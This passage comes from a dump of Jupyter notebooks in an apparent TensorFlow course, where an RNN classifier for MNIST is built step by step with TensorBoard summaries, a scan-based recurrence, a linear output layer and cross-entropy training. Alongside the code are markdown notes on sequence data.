*\n", 60 | "\n", 61 | "- each node adds new information => updates the model\n", 62 | "- in humans: learning new things => updates our model of the world\n", 63 | "- **Markov Chain** model: data = sequence of (dependent) chains\n", 64 | "- at time 't': xt, ht, ot\n", 65 | "- the RNN: unrolled chain of nodes\n", 66 | "- **supervised learning:** input node => activation (h) - supervisor-given target activations => some outputs\n", 67 | "- **reinforcement learning:** fitness/reward function => influences inputs via outputs connected to actuators" 68 | ] 69 | }, 70 | { 71 | "cell_type": "markdown", 72 | "metadata": { 73 | "collapsed": true, 74 | "deletable": true, 75 | "editable": true 76 | }, 77 | "source": [ 78 | "## Implementing MNIST for RNNs" 79 | ] 80 | }, 81 | { 82 | "cell_type": "code", 83 | "execution_count": 1, 84 | "metadata": { 85 | "collapsed": false, 86 | "deletable": true, 87 | "editable": true 88 | }, 89 | "outputs": [ 90 | { 91 | "name": "stdout", 92 | "output_type": "stream", 93 | "text": [ 94 | "Extracting /tmp/data/train-images-idx3-ubyte.gz\n", 95 | "Extracting /tmp/data/train-labels-idx1-ubyte.gz\n", 96 | "Extracting /tmp/data/t10k-images-idx3-ubyte.gz\n", 97 | "Extracting /tmp/data/t10k-labels-idx1-ubyte.gz\n" 98 | ] 99 | } 100 | ], 101 | "source": [ 102 | "import tensorflow as tf\n", 103 | "\n", 104 | "from tensorflow.examples.tutorials.mnist import input_data\n", 105 | "mnist = input_data.read_data_sets(\"/tmp/data/\", one_hot=True)\n", 106 | "\n", 107 | "element_size = 28\n", 108 | "time_steps = 28\n", 109 | "num_classes = 10 \n", 110 | "batch_size = 128\n", 111 | "hidden_layer_size = 128 \n", 112 | "\n", 113 | "LOG_DIR = 'logs/RNN_with_summaries'\n", 114 | "\n", 115 | "_inputs = tf.placeholder(tf.float32, shape=[None, time_steps,element_size], name='inputs')\n", 116 | "y = tf.placeholder(tf.float32, shape=[None, num_classes], name='labels')\n", 117 | "\n", 118 | "batch_x, batch_y = mnist.train.next_batch(batch_size)\n", 119 | "batch_x = batch_x.reshape((batch_size, time_steps,element_size))" 120 | ] 121 | }, 122 | { 123 | "cell_type": "code", 124 | "execution_count": null, 125 | "metadata": { 126 | "collapsed": true, 127 | "deletable": true, 128 | "editable": true 129 | }, 130 | "outputs": [], 131 | "source": [] 132 | }, 133 | { 134 | "cell_type": "code", 135 | "execution_count": null, 136 | "metadata": { 137 | "collapsed": true 138 | }, 139 | "outputs": [], 140 | "source": [] 141 | }, 142 | { 143 | "cell_type": "code", 144 | "execution_count": null, 145 | "metadata": { 146 | "collapsed": true 147 | }, 148 | "outputs": [], 149 | "source": [] 150 | }, 151 | { 152 | "cell_type": "code", 153 | "execution_count": null, 154 | "metadata": { 155 | "collapsed": true 156 | }, 157 | "outputs": [], 158 | "source": [] 159 | } 160 | ], 161 | "metadata": { 162 | "kernelspec": { 163 | "display_name": "Python 3", 164 | "language": "python", 165 | "name": "python3" 166 | }, 167 | "language_info": { 168 | "codemirror_mode": { 169 | "name": "ipython", 170 | "version": 3 171 | }, 172 | "file_extension": ".py", 173 | "mimetype": "text/x-python", 174 | "name": "python", 175 | "nbconvert_exporter": "python", 176 | "pygments_lexer": "ipython3", 177 | "version": "3.5.0" 178 | } 179 | }, 180 | "nbformat": 4, 181 | "nbformat_minor": 2 182 | } 183 | -------------------------------------------------------------------------------- /Neural Networks and TensorFlow - 28 - Recurrent Neural Networks - 3.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [ 3 | { 4 | "cell_type": "markdown", 5 | "metadata": { 6 | "deletable": true, 7 | "editable": true 8 | }, 9 | "source": [ 10 | "#
TensorFlow and Deep Learning
\n", 11 | "\n", 12 | "## Text and Sequence Data\n", 13 | "\n", 14 | "
\n", 15 | "\n", 16 | "
![](timeseq1.png)
\n", 17 | "\n", 18 | "*

By Glen Fergus [CC BY 3.0] via Wikimedia Commons

*\n", 19 | "\n" 20 | ] 21 | }, 22 | { 23 | "cell_type": "markdown", 24 | "metadata": { 25 | "collapsed": false, 26 | "deletable": true, 27 | "editable": true 28 | }, 29 | "source": [ 30 | "- build recurrent neural networks **(RNN)** for **NLP** (Natural Language Processing) and **NLU** (Natural Language Understanding)\n", 31 | "- *NLP and NLU tasks involve: document classification, sentiment analysis, conversational agents*\n", 32 | "- Tensorboard for visualization purposes\n", 33 | "- ? Long Short-Term Memory models\n", 34 | "\n", 35 | "### Sequence Data\n", 36 | "\n", 37 | "- video - images arranged over time\n", 38 | "- medical records\n", 39 | "- temperature data (see above)\n", 40 | "- audio data \n", 41 | "- stock market data\n", 42 | "- etc." 43 | ] 44 | }, 45 | { 46 | "cell_type": "markdown", 47 | "metadata": { 48 | "collapsed": true, 49 | "deletable": true, 50 | "editable": true 51 | }, 52 | "source": [ 53 | "##
Recurrent Neural Networks
\n", 54 | "\n", 55 | "
\n", 56 | "\n", 57 | "
![](rnnl.png)
\n", 58 | "\n", 59 | "*

By François Deloche [CC BY-SA 4.0] via Wikimedia Commons

*\n", 60 | "\n", 61 | "- each node adds new information => updates the model\n", 62 | "- in humans: learning new things => updates our model of the world\n", 63 | "- **Markov Chain** model: data = sequence of (dependent) chains\n", 64 | "- at time 't': xt, ht, ot\n", 65 | "- the RNN: unrolled chain of nodes\n", 66 | "- **supervised learning:** input node => activation (h) - supervisor-given target activations => some outputs\n", 67 | "- **reinforcement learning:** fitness/reward function => influences inputs via outputs connected to actuators" 68 | ] 69 | }, 70 | { 71 | "cell_type": "markdown", 72 | "metadata": { 73 | "collapsed": true, 74 | "deletable": true, 75 | "editable": true 76 | }, 77 | "source": [ 78 | "## Implementing MNIST for RNNs" 79 | ] 80 | }, 81 | { 82 | "cell_type": "code", 83 | "execution_count": 1, 84 | "metadata": { 85 | "collapsed": false, 86 | "deletable": true, 87 | "editable": true 88 | }, 89 | "outputs": [ 90 | { 91 | "name": "stdout", 92 | "output_type": "stream", 93 | "text": [ 94 | "Extracting /tmp/data/train-images-idx3-ubyte.gz\n", 95 | "Extracting /tmp/data/train-labels-idx1-ubyte.gz\n", 96 | "Extracting /tmp/data/t10k-images-idx3-ubyte.gz\n", 97 | "Extracting /tmp/data/t10k-labels-idx1-ubyte.gz\n" 98 | ] 99 | } 100 | ], 101 | "source": [ 102 | "import tensorflow as tf\n", 103 | "\n", 104 | "from tensorflow.examples.tutorials.mnist import input_data\n", 105 | "mnist = input_data.read_data_sets(\"/tmp/data/\", one_hot=True)\n", 106 | "\n", 107 | "element_size = 28\n", 108 | "time_steps = 28\n", 109 | "num_classes = 10 \n", 110 | "batch_size = 128\n", 111 | "hidden_layer_size = 128 \n", 112 | "\n", 113 | "LOG_DIR = 'logs/RNN_with_summaries'\n", 114 | "\n", 115 | "_inputs = tf.placeholder(tf.float32, shape=[None, time_steps,element_size], name='inputs')\n", 116 | "y = tf.placeholder(tf.float32, shape=[None, num_classes], name='labels')\n", 117 | "\n", 118 | "batch_x, batch_y = mnist.train.next_batch(batch_size)\n", 119 | "batch_x = batch_x.reshape((batch_size, time_steps,element_size))" 120 | ] 121 | }, 122 | { 123 | "cell_type": "code", 124 | "execution_count": 3, 125 | "metadata": { 126 | "collapsed": true, 127 | "deletable": true, 128 | "editable": true 129 | }, 130 | "outputs": [], 131 | "source": [ 132 | "def var_summaries(var):\n", 133 | " with tf.name_scope('summaries'):\n", 134 | " mean = tf.reduce_mean(var)\n", 135 | " tf.summary.scalar('mean', mean)\n", 136 | " with tf.name_scope('stddev'):\n", 137 | " stddev = tf.sqrt(tf.reduce_mean(tf.square(var-mean)))\n", 138 | " tf.summary.scalar('stddev', stddev)\n", 139 | " tf.summary.scalar('max', tf.reduce_max(var))\n", 140 | " tf.summary.scalar('min', tf.reduce_min(var))\n", 141 | " tf.summary.histogram('histogram', var)\n", 142 | " \n", 143 | "with tf.name_scope('mn_weights'):\n", 144 | " with tf.name_scope('W_x'):\n", 145 | " Wx = tf.Variable(tf.zeros([element_size, hidden_layer_size]))\n", 146 | " var_summaries(Wx)\n", 147 | " with tf.name_scope('W_h'):\n", 148 | " Wh = tf.Variable(tf.zeros([hidden_layer_size, hidden_layer_size]))\n", 149 | " var_summaries(Wh)\n", 150 | " with tf.name_scope('Bias'):\n", 151 | " b_rnn = tf.Variable(tf.zeros([hidden_layer_size]))\n", 152 | " var_summaries(b_rnn)" 153 | ] 154 | }, 155 | { 156 | "cell_type": "code", 157 | "execution_count": 4, 158 | "metadata": { 159 | "collapsed": true, 160 | "deletable": true, 161 | "editable": true 162 | }, 163 | "outputs": [], 164 | "source": [ 165 | "def rnn_step():\n", 166 | " current_hidden_state = tf.tanh(tf.matmul(previous_hidden_state, Wh)+tf.matmul(x,Wx)+b_rnn)\n", 167 | " return current_hidden_state" 168 | ] 169 | }, 170 | { 171 | "cell_type": "code", 172 | "execution_count": null, 173 | "metadata": { 174 | "collapsed": true, 175 | "deletable": true, 176 | "editable": true 177 | }, 178 | "outputs": [], 179 | "source": [] 180 | }, 181 | { 182 | "cell_type": "code", 183 | "execution_count": null, 184 | "metadata": { 185 | "collapsed": true, 186 | "deletable": true, 187 | "editable": true 188 | }, 189 | "outputs": [], 190 | "source": [] 191 | } 192 | ], 193 | "metadata": { 194 | "kernelspec": { 195 | "display_name": "Python 3", 196 | "language": "python", 197 | "name": "python3" 198 | }, 199 | "language_info": { 200 | "codemirror_mode": { 201 | "name": "ipython", 202 | "version": 3 203 | }, 204 | "file_extension": ".py", 205 | "mimetype": "text/x-python", 206 | "name": "python", 207 | "nbconvert_exporter": "python", 208 | "pygments_lexer": "ipython3", 209 | "version": "3.5.0" 210 | } 211 | }, 212 | "nbformat": 4, 213 | "nbformat_minor": 2 214 | } 215 | -------------------------------------------------------------------------------- /Neural Networks and TensorFlow - 29 - Recurrent Neural Networks - 4.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [ 3 | { 4 | "cell_type": "markdown", 5 | "metadata": { 6 | "deletable": true, 7 | "editable": true 8 | }, 9 | "source": [ 10 | "#
TensorFlow and Deep Learning
\n", 11 | "\n", 12 | "## Text and Sequence Data\n", 13 | "\n", 14 | "
\n", 15 | "\n", 16 | "
![](timeseq1.png)
\n", 17 | "\n", 18 | "*

By Glen Fergus [CC BY 3.0] via Wikimedia Commons

*\n", 19 | "\n" 20 | ] 21 | }, 22 | { 23 | "cell_type": "markdown", 24 | "metadata": { 25 | "collapsed": false, 26 | "deletable": true, 27 | "editable": true 28 | }, 29 | "source": [ 30 | "- build recurrent neural networks **(RNN)** for **NLP** (Natural Language Processing) and **NLU** (Natural Language Understanding)\n", 31 | "- *NLP and NLU tasks involve: document classification, sentiment analysis, conversational agents*\n", 32 | "- Tensorboard for visualization purposes\n", 33 | "- ? Long Short-Term Memory models\n", 34 | "\n", 35 | "### Sequence Data\n", 36 | "\n", 37 | "- video - images arranged over time\n", 38 | "- medical records\n", 39 | "- temperature data (see above)\n", 40 | "- audio data \n", 41 | "- stock market data\n", 42 | "- etc." 43 | ] 44 | }, 45 | { 46 | "cell_type": "markdown", 47 | "metadata": { 48 | "collapsed": true, 49 | "deletable": true, 50 | "editable": true 51 | }, 52 | "source": [ 53 | "##
Recurrent Neural Networks
\n", 54 | "\n", 55 | "
\n", 56 | "\n", 57 | "
![](rnnl.png)
\n", 58 | "\n", 59 | "*

By François Deloche [CC BY-SA 4.0] via Wikimedia Commons

*\n", 60 | "\n", 61 | "- each node adds new information => updates the model\n", 62 | "- in humans: learning new things => updates our model of the world\n", 63 | "- **Markov Chain** model: data = sequence of (dependent) chains\n", 64 | "- at time 't': xt, ht, ot\n", 65 | "- the RNN: unrolled chain of nodes\n", 66 | "- **supervised learning:** input node => activation (h) - supervisor-given target activations => some outputs\n", 67 | "- **reinforcement learning:** fitness/reward function => influences inputs via outputs connected to actuators" 68 | ] 69 | }, 70 | { 71 | "cell_type": "markdown", 72 | "metadata": { 73 | "collapsed": true, 74 | "deletable": true, 75 | "editable": true 76 | }, 77 | "source": [ 78 | "## Implementing MNIST for RNNs" 79 | ] 80 | }, 81 | { 82 | "cell_type": "code", 83 | "execution_count": 1, 84 | "metadata": { 85 | "collapsed": false, 86 | "deletable": true, 87 | "editable": true 88 | }, 89 | "outputs": [ 90 | { 91 | "name": "stdout", 92 | "output_type": "stream", 93 | "text": [ 94 | "Extracting /tmp/data/train-images-idx3-ubyte.gz\n", 95 | "Extracting /tmp/data/train-labels-idx1-ubyte.gz\n", 96 | "Extracting /tmp/data/t10k-images-idx3-ubyte.gz\n", 97 | "Extracting /tmp/data/t10k-labels-idx1-ubyte.gz\n" 98 | ] 99 | } 100 | ], 101 | "source": [ 102 | "import tensorflow as tf\n", 103 | "\n", 104 | "from tensorflow.examples.tutorials.mnist import input_data\n", 105 | "mnist = input_data.read_data_sets(\"/tmp/data/\", one_hot=True)\n", 106 | "\n", 107 | "element_size = 28\n", 108 | "time_steps = 28\n", 109 | "num_classes = 10 \n", 110 | "batch_size = 128\n", 111 | "hidden_layer_size = 128 \n", 112 | "\n", 113 | "LOG_DIR = 'logs/RNN_with_summaries'\n", 114 | "\n", 115 | "_inputs = tf.placeholder(tf.float32, shape=[None, time_steps,element_size], name='inputs')\n", 116 | "y = tf.placeholder(tf.float32, shape=[None, num_classes], name='labels')\n", 117 | "\n", 118 | "batch_x, batch_y = mnist.train.next_batch(batch_size)\n", 119 | "batch_x = batch_x.reshape((batch_size, time_steps,element_size))" 120 | ] 121 | }, 122 | { 123 | "cell_type": "code", 124 | "execution_count": 2, 125 | "metadata": { 126 | "collapsed": true, 127 | "deletable": true, 128 | "editable": true 129 | }, 130 | "outputs": [], 131 | "source": [ 132 | "def var_summaries(var):\n", 133 | " with tf.name_scope('summaries'):\n", 134 | " mean = tf.reduce_mean(var)\n", 135 | " tf.summary.scalar('mean', mean)\n", 136 | " with tf.name_scope('stddev'):\n", 137 | " stddev = tf.sqrt(tf.reduce_mean(tf.square(var-mean)))\n", 138 | " tf.summary.scalar('stddev', stddev)\n", 139 | " tf.summary.scalar('max', tf.reduce_max(var))\n", 140 | " tf.summary.scalar('min', tf.reduce_min(var))\n", 141 | " tf.summary.histogram('histogram', var)\n", 142 | " \n", 143 | "with tf.name_scope('mn_weights'):\n", 144 | " with tf.name_scope('W_x'):\n", 145 | " Wx = tf.Variable(tf.zeros([element_size, hidden_layer_size]))\n", 146 | " var_summaries(Wx)\n", 147 | " with tf.name_scope('W_h'):\n", 148 | " Wh = tf.Variable(tf.zeros([hidden_layer_size, hidden_layer_size]))\n", 149 | " var_summaries(Wh)\n", 150 | " with tf.name_scope('Bias'):\n", 151 | " b_rnn = tf.Variable(tf.zeros([hidden_layer_size]))\n", 152 | " var_summaries(b_rnn)" 153 | ] 154 | }, 155 | { 156 | "cell_type": "code", 157 | "execution_count": 8, 158 | "metadata": { 159 | "collapsed": true, 160 | "deletable": true, 161 | "editable": true 162 | }, 163 | "outputs": [], 164 | "source": [ 165 | "def rnn_step(previous_hidden_state,x):\n", 166 | " current_hidden_state = tf.tanh(tf.matmul(previous_hidden_state, Wh)+tf.matmul(x,Wx)+b_rnn)\n", 167 | " return current_hidden_state" 168 | ] 169 | }, 170 | { 171 | "cell_type": "code", 172 | "execution_count": 9, 173 | "metadata": { 174 | "collapsed": false, 175 | "deletable": true, 176 | "editable": true 177 | }, 178 | "outputs": [], 179 | "source": [ 180 | "processed_input = tf.transpose(_inputs, perm=[1,0,2])\n", 181 | "initial_hidden = tf.zeros([batch_size, hidden_layer_size])\n", 182 | "all_hidden_states = tf.scan(rnn_step, processed_input, initializer=initial_hidden, name='states')\n", 183 | "\n", 184 | "with tf.name_scope('linear_layer_weights') as scope:\n", 185 | " with tf.name_scope('W_linear'):\n", 186 | " Wl = tf.Variable(tf.truncated_normal([hidden_layer_size, num_classes], mean=0, stddev=.01))\n", 187 | " var_summaries(Wl)\n", 188 | " bl = tf.Variable(tf.truncated_normal([num_classes], mean=0, stddev=.01))\n", 189 | " var_summaries(bl)\n", 190 | " \n", 191 | "def get_linear_layer(hidden_state):\n", 192 | " return tf.matmul(hidden_state, Wl) + bl" 193 | ] 194 | }, 195 | { 196 | "cell_type": "code", 197 | "execution_count": 10, 198 | "metadata": { 199 | "collapsed": true, 200 | "deletable": true, 201 | "editable": true 202 | }, 203 | "outputs": [], 204 | "source": [ 205 | "with tf.name_scope('linear_layer_weights') as scope:\n", 206 | " all_outputs = tf.map_fn(get_linear_layer, all_hidden_states)\n", 207 | " output = all_outputs[-1]\n", 208 | " tf.summary.histogram('outputs',output)" 209 | ] 210 | }, 211 | { 212 | "cell_type": "code", 213 | "execution_count": null, 214 | "metadata": { 215 | "collapsed": true 216 | }, 217 | "outputs": [], 218 | "source": [] 219 | }, 220 | { 221 | "cell_type": "code", 222 | "execution_count": null, 223 | "metadata": { 224 | "collapsed": true 225 | }, 226 | "outputs": [], 227 | "source": [] 228 | }, 229 | { 230 | "cell_type": "code", 231 | "execution_count": null, 232 | "metadata": { 233 | "collapsed": true 234 | }, 235 | "outputs": [], 236 | "source": [] 237 | }, 238 | { 239 | "cell_type": "code", 240 | "execution_count": null, 241 | "metadata": { 242 | "collapsed": true 243 | }, 244 | "outputs": [], 245 | "source": [] 246 | } 247 | ], 248 | "metadata": { 249 | "kernelspec": { 250 | "display_name": "Python 3", 251 | "language": "python", 252 | "name": "python3" 253 | }, 254 | "language_info": { 255 | "codemirror_mode": { 256 | "name": "ipython", 257 | "version": 3 258 | }, 259 | "file_extension": ".py", 260 | "mimetype": "text/x-python", 261 | "name": "python", 262 | "nbconvert_exporter": "python", 263 | "pygments_lexer": "ipython3", 264 | "version": "3.5.0" 265 | } 266 | }, 267 | "nbformat": 4, 268 | "nbformat_minor": 2 269 | } 270 | -------------------------------------------------------------------------------- /Neural Networks and TensorFlow - 30 - Recurrent Neural Networks - 5.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [ 3 | { 4 | "cell_type": "markdown", 5 | "metadata": { 6 | "deletable": true, 7 | "editable": true 8 | }, 9 | "source": [ 10 | "#
TensorFlow and Deep Learning
\n", 11 | "\n", 12 | "## Text and Sequence Data\n", 13 | "\n", 14 | "
\n", 15 | "\n", 16 | "
![](timeseq1.png)
\n", 17 | "\n", 18 | "*

By Glen Fergus [CC BY 3.0] via Wikimedia Commons

*\n", 19 | "\n" 20 | ] 21 | }, 22 | { 23 | "cell_type": "markdown", 24 | "metadata": { 25 | "collapsed": false, 26 | "deletable": true, 27 | "editable": true 28 | }, 29 | "source": [ 30 | "- build recurrent neural networks **(RNN)** for **NLP** (Natural Language Processing) and **NLU** (Natural Language Understanding)\n", 31 | "- *NLP and NLU tasks involve: document classification, sentiment analysis, conversational agents*\n", 32 | "- Tensorboard for visualization purposes\n", 33 | "- ? Long Short-Term Memory models\n", 34 | "\n", 35 | "### Sequence Data\n", 36 | "\n", 37 | "- video - images arranged over time\n", 38 | "- medical records\n", 39 | "- temperature data (see above)\n", 40 | "- audio data \n", 41 | "- stock market data\n", 42 | "- etc." 43 | ] 44 | }, 45 | { 46 | "cell_type": "markdown", 47 | "metadata": { 48 | "collapsed": true, 49 | "deletable": true, 50 | "editable": true 51 | }, 52 | "source": [ 53 | "##
Recurrent Neural Networks
\n", 54 | "\n", 55 | "
\n", 56 | "\n", 57 | "
![](rnnl.png)
\n", 58 | "\n", 59 | "*

By François Deloche [CC BY-SA 4.0] via Wikimedia Commons

*\n", 60 | "\n", 61 | "- each node adds new information => updates the model\n", 62 | "- in humans: learning new things => updates our model of the world\n", 63 | "- **Markov Chain** model: data = sequence of (dependent) chains\n", 64 | "- at time 't': xt, ht, ot\n", 65 | "- the RNN: unrolled chain of nodes\n", 66 | "- **supervised learning:** input node => activation (h) - supervisor-given target activations => some outputs\n", 67 | "- **reinforcement learning:** fitness/reward function => influences inputs via outputs connected to actuators" 68 | ] 69 | }, 70 | { 71 | "cell_type": "markdown", 72 | "metadata": { 73 | "collapsed": true, 74 | "deletable": true, 75 | "editable": true 76 | }, 77 | "source": [ 78 | "## Implementing MNIST for RNNs" 79 | ] 80 | }, 81 | { 82 | "cell_type": "code", 83 | "execution_count": 1, 84 | "metadata": { 85 | "collapsed": false, 86 | "deletable": true, 87 | "editable": true 88 | }, 89 | "outputs": [ 90 | { 91 | "name": "stdout", 92 | "output_type": "stream", 93 | "text": [ 94 | "Extracting /tmp/data/train-images-idx3-ubyte.gz\n", 95 | "Extracting /tmp/data/train-labels-idx1-ubyte.gz\n", 96 | "Extracting /tmp/data/t10k-images-idx3-ubyte.gz\n", 97 | "Extracting /tmp/data/t10k-labels-idx1-ubyte.gz\n" 98 | ] 99 | } 100 | ], 101 | "source": [ 102 | "import tensorflow as tf\n", 103 | "\n", 104 | "from tensorflow.examples.tutorials.mnist import input_data\n", 105 | "mnist = input_data.read_data_sets(\"/tmp/data/\", one_hot=True)\n", 106 | "\n", 107 | "element_size = 28\n", 108 | "time_steps = 28\n", 109 | "num_classes = 10 \n", 110 | "batch_size = 128\n", 111 | "hidden_layer_size = 128 \n", 112 | "\n", 113 | "LOG_DIR = 'logs/RNN_with_summaries'\n", 114 | "\n", 115 | "_inputs = tf.placeholder(tf.float32, shape=[None, time_steps,element_size], name='inputs')\n", 116 | "y = tf.placeholder(tf.float32, shape=[None, num_classes], name='labels')\n", 117 | "\n", 118 | "batch_x, batch_y = mnist.train.next_batch(batch_size)\n", 119 | "batch_x = batch_x.reshape((batch_size, time_steps,element_size))" 120 | ] 121 | }, 122 | { 123 | "cell_type": "code", 124 | "execution_count": 2, 125 | "metadata": { 126 | "collapsed": true, 127 | "deletable": true, 128 | "editable": true 129 | }, 130 | "outputs": [], 131 | "source": [ 132 | "def var_summaries(var):\n", 133 | " with tf.name_scope('summaries'):\n", 134 | " mean = tf.reduce_mean(var)\n", 135 | " tf.summary.scalar('mean', mean)\n", 136 | " with tf.name_scope('stddev'):\n", 137 | " stddev = tf.sqrt(tf.reduce_mean(tf.square(var-mean)))\n", 138 | " tf.summary.scalar('stddev', stddev)\n", 139 | " tf.summary.scalar('max', tf.reduce_max(var))\n", 140 | " tf.summary.scalar('min', tf.reduce_min(var))\n", 141 | " tf.summary.histogram('histogram', var)\n", 142 | " \n", 143 | "with tf.name_scope('mn_weights'):\n", 144 | " with tf.name_scope('W_x'):\n", 145 | " Wx = tf.Variable(tf.zeros([element_size, hidden_layer_size]))\n", 146 | " var_summaries(Wx)\n", 147 | " with tf.name_scope('W_h'):\n", 148 | " Wh = tf.Variable(tf.zeros([hidden_layer_size, hidden_layer_size]))\n", 149 | " var_summaries(Wh)\n", 150 | " with tf.name_scope('Bias'):\n", 151 | " b_rnn = tf.Variable(tf.zeros([hidden_layer_size]))\n", 152 | " var_summaries(b_rnn)" 153 | ] 154 | }, 155 | { 156 | "cell_type": "code", 157 | "execution_count": 8, 158 | "metadata": { 159 | "collapsed": true, 160 | "deletable": true, 161 | "editable": true 162 | }, 163 | "outputs": [], 164 | "source": [ 165 | "def rnn_step(previous_hidden_state,x):\n", 166 | " current_hidden_state = tf.tanh(tf.matmul(previous_hidden_state, Wh)+tf.matmul(x,Wx)+b_rnn)\n", 167 | " return current_hidden_state" 168 | ] 169 | }, 170 | { 171 | "cell_type": "code", 172 | "execution_count": 9, 173 | "metadata": { 174 | "collapsed": false, 175 | "deletable": true, 176 | "editable": true 177 | }, 178 | "outputs": [], 179 | "source": [ 180 | "processed_input = tf.transpose(_inputs, perm=[1,0,2])\n", 181 | "initial_hidden = tf.zeros([batch_size, hidden_layer_size])\n", 182 | "all_hidden_states = tf.scan(rnn_step, processed_input, initializer=initial_hidden, name='states')\n", 183 | "\n", 184 | "with tf.name_scope('linear_layer_weights') as scope:\n", 185 | " with tf.name_scope('W_linear'):\n", 186 | " Wl = tf.Variable(tf.truncated_normal([hidden_layer_size, num_classes], mean=0, stddev=.01))\n", 187 | " var_summaries(Wl)\n", 188 | " bl = tf.Variable(tf.truncated_normal([num_classes], mean=0, stddev=.01))\n", 189 | " var_summaries(bl)\n", 190 | " \n", 191 | "def get_linear_layer(hidden_state):\n", 192 | " return tf.matmul(hidden_state, Wl) + bl" 193 | ] 194 | }, 195 | { 196 | "cell_type": "code", 197 | "execution_count": 10, 198 | "metadata": { 199 | "collapsed": true, 200 | "deletable": true, 201 | "editable": true 202 | }, 203 | "outputs": [], 204 | "source": [ 205 | "with tf.name_scope('linear_layer_weights') as scope:\n", 206 | " all_outputs = tf.map_fn(get_linear_layer, all_hidden_states)\n", 207 | " output = all_outputs[-1]\n", 208 | " tf.summary.histogram('outputs',output)" 209 | ] 210 | }, 211 | { 212 | "cell_type": "code", 213 | "execution_count": null, 214 | "metadata": { 215 | "collapsed": true, 216 | "deletable": true, 217 | "editable": true 218 | }, 219 | "outputs": [], 220 | "source": [ 221 | "with tf.name_scope('cross_entropy'):\n", 222 | " cross_entropy = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(logits=output, labels=y))\n", 223 | " tf.summary.scalar('cross_entropy', cross_entropy)\n", 224 | " \n", 225 | "with tf.name_scope('train'):\n", 226 | " train_step = tf.train.RMSPropOptimizer(0.001, 0.9).minimize(cross_entropy)\n", 227 | " \n", 228 | "with tf.name_scope('accuracy'):\n", 229 | " correct_prediction = tf.equal(tf.argmax(y,1), tf.argmax(output,1))\n", 230 | " accuracy = (tf.reduce_mean(tf.cast(correct_prediction, tf.float32)))*100\n", 231 | " tf.summary.scalar('accuracy', accuracy)\n", 232 | " \n", 233 | "merged = tf.summary.merge_all()" 234 | ] 235 | }, 236 | { 237 | "cell_type": "code", 238 | "execution_count": null, 239 | "metadata": { 240 | "collapsed": true, 241 | "deletable": true, 242 | "editable": true 243 | }, 244 | "outputs": [], 245 | "source": [] 246 | }, 247 | { 248 | "cell_type": "code", 249 | "execution_count": null, 250 | "metadata": { 251 | "collapsed": true, 252 | "deletable": true, 253 | "editable": true 254 | }, 255 | "outputs": [], 256 | "source": [] 257 | }, 258 | { 259 | "cell_type": "code", 260 | "execution_count": null, 261 | "metadata": { 262 | "collapsed": true, 263 | "deletable": true, 264 | "editable": true 265 | }, 266 | "outputs": [], 267 | "source": [] 268 | } 269 | ], 270 | "metadata": { 271 | "kernelspec": { 272 | "display_name": "Python 3", 273 | "language": "python", 274 | "name": "python3" 275 | }, 276 | "language_info": { 277 | "codemirror_mode": { 278 | "name": "ipython", 279 | "version": 3 280 | }, 281 | "file_extension": ".py", 282 | "mimetype": "text/x-python", 283 | "name": "python", 284 | "nbconvert_exporter": "python", 285 | "pygments_lexer": "ipython3", 286 | "version": "3.5.0" 287 | } 288 | }, 289 | "nbformat": 4, 290 | "nbformat_minor": 2 291 | } 292 | -------------------------------------------------------------------------------- /Neural Networks and TensorFlow - 31 - Recurrent Neural Networks - 6.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [ 3 | { 4 | "cell_type": "markdown", 5 | "metadata": { 6 | "deletable": true, 7 | "editable": true 8 | }, 9 | "source": [ 10 | "#
TensorFlow and Deep Learning
\n", 11 | "\n", 12 | "## Text and Sequence Data\n", 13 | "\n", 14 | "
\n", 15 | "\n", 16 | "
![](timeseq1.png)
\n", 17 | "\n", 18 | "*

By Glen Fergus [CC BY 3.0] via Wikimedia Commons

*\n", 19 | "\n" 20 | ] 21 | }, 22 | { 23 | "cell_type": "markdown", 24 | "metadata": { 25 | "collapsed": false, 26 | "deletable": true, 27 | "editable": true 28 | }, 29 | "source": [ 30 | "- build recurrent neural networks **(RNN)** for **NLP** (Natural Language Processing) and **NLU** (Natural Language Understanding)\n", 31 | "- *NLP and NLU tasks involve: document classification, sentiment analysis, conversational agents*\n", 32 | "- Tensorboard for visualization purposes\n", 33 | "- ? Long Short-Term Memory models\n", 34 | "\n", 35 | "### Sequence Data\n", 36 | "\n", 37 | "- video - images arranged over time\n", 38 | "- medical records\n", 39 | "- temperature data (see above)\n", 40 | "- audio data \n", 41 | "- stock market data\n", 42 | "- etc." 43 | ] 44 | }, 45 | { 46 | "cell_type": "markdown", 47 | "metadata": { 48 | "collapsed": true, 49 | "deletable": true, 50 | "editable": true 51 | }, 52 | "source": [ 53 | "##
Recurrent Neural Networks
\n", 54 | "\n", 55 | "
\n", 56 | "\n", 57 | "
![](rnnl.png)
\n", 58 | "\n", 59 | "*

By François Deloche [CC BY-SA 4.0] via Wikimedia Commons

*\n", 60 | "\n", 61 | "- each node adds new information => updates the model\n", 62 | "- in humans: learning new things => updates our model of the world\n", 63 | "- **Markov Chain** model: data = sequence of (dependent) chains\n", 64 | "- at time 't': xt, ht, ot\n", 65 | "- the RNN: unrolled chain of nodes\n", 66 | "- **supervised learning:** input node => activation (h) - supervisor-given target activations => some outputs\n", 67 | "- **reinforcement learning:** fitness/reward function => influences inputs via outputs connected to actuators" 68 | ] 69 | }, 70 | { 71 | "cell_type": "markdown", 72 | "metadata": { 73 | "collapsed": true, 74 | "deletable": true, 75 | "editable": true 76 | }, 77 | "source": [ 78 | "## Implementing MNIST for RNNs" 79 | ] 80 | }, 81 | { 82 | "cell_type": "code", 83 | "execution_count": 1, 84 | "metadata": { 85 | "collapsed": false, 86 | "deletable": true, 87 | "editable": true 88 | }, 89 | "outputs": [ 90 | { 91 | "name": "stdout", 92 | "output_type": "stream", 93 | "text": [ 94 | "Extracting /tmp/data/train-images-idx3-ubyte.gz\n", 95 | "Extracting /tmp/data/train-labels-idx1-ubyte.gz\n", 96 | "Extracting /tmp/data/t10k-images-idx3-ubyte.gz\n", 97 | "Extracting /tmp/data/t10k-labels-idx1-ubyte.gz\n" 98 | ] 99 | } 100 | ], 101 | "source": [ 102 | "import tensorflow as tf\n", 103 | "\n", 104 | "from tensorflow.examples.tutorials.mnist import input_data\n", 105 | "mnist = input_data.read_data_sets(\"/tmp/data/\", one_hot=True)\n", 106 | "\n", 107 | "element_size = 28\n", 108 | "time_steps = 